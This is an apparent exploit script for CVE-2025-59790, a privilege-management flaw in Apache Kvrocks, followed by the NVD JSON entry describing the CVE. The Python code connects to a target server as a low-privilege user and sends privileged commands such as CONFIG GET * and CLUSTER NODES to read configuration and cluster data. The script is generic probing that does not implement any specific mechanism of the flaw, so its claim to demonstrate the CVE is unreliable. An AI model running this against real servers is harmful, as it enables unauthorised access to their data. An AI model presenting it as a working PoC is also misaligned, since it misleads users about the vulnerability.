CVE-2025-59790

# CVE-2025-59790 PoC - Improper Privilege Management in Apache Kvrocks # Affected Versions: v2.9.0 - v2.13.0 # This PoC demonstrates privilege escalation through improper permission handling import socket import struct def send_redis_command(sock, *args): """Send a Redis protocol command""" cmd = f"*{len(args)}\r\n" for arg in args: cmd += f"${len(str(arg))}\r\n{arg}\r\n" sock.sendall(cmd.encode()) return sock.recv(4096).decode() def exploit_kvrocks_privilege_escalation(host, port, low_priv_user, low_priv_pass): """ Exploit improper privilege management in Apache Kvrocks to perform actions beyond assigned privileges """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) # Authenticate as low-privilege user auth_response = send_redis_command(sock, 'AUTH', low_priv_user, low_priv_pass) if 'OK' not in auth_response: print(f"[-] Authentication failed: {auth_response}") return False print(f"[+] Authenticated as low-privilege user: {low_priv_user}") # Attempt to execute high-privilege operations # These should be blocked but due to the vulnerability may succeed high_priv_commands = [ ('CONFIG', 'GET', '*'), ('INFO', 'server'), ('CLUSTER', 'NODES'), ('SENTINEL', 'masters') ] for cmd in high_priv_commands: response = send_redis_command(sock, *cmd) if 'error' not in response.lower(): print(f"[+] Command {cmd} executed successfully (PRIVILEGE ESCALATION)") print(f" Response: {response[:200]}...") else: print(f"[-] Command {cmd} blocked") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False # Usage if __name__ == "__main__": TARGET_HOST = "target-kvrocks-server" TARGET_PORT = 6666 print("CVE-2025-59790 - Apache Kvrocks Improper Privilege Management") print("=" * 60) exploit_kvrocks_privilege_escalation(TARGET_HOST, TARGET_PORT, "limited_user", "user_password")

{"cve": {"id": "CVE-2025-59790", "sourceIdentifier": "[email protected]", "published": "2025-11-28T15:16:02.973", "lastModified": "2025-12-04T17:03:00.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Privilege Management vulnerability in Apache Kvrocks.\n\nThis issue affects Apache Kvrocks: from v2.9.0 through v2.13.0.\n\nUsers are recommended to upgrade to version 2.14.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:kvrocks:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.9.0", "versionEndExcluding": "2.14.0", "matchCriteriaId": "B860CF66-528A-49E1-8AC5-0503573F8C06"}]}]}], "references": [{"url": "https://lists.apache.org/thread/dlbz5hmm4ts3npzqnvhofxmqg9w9zt0o", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/11/28/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}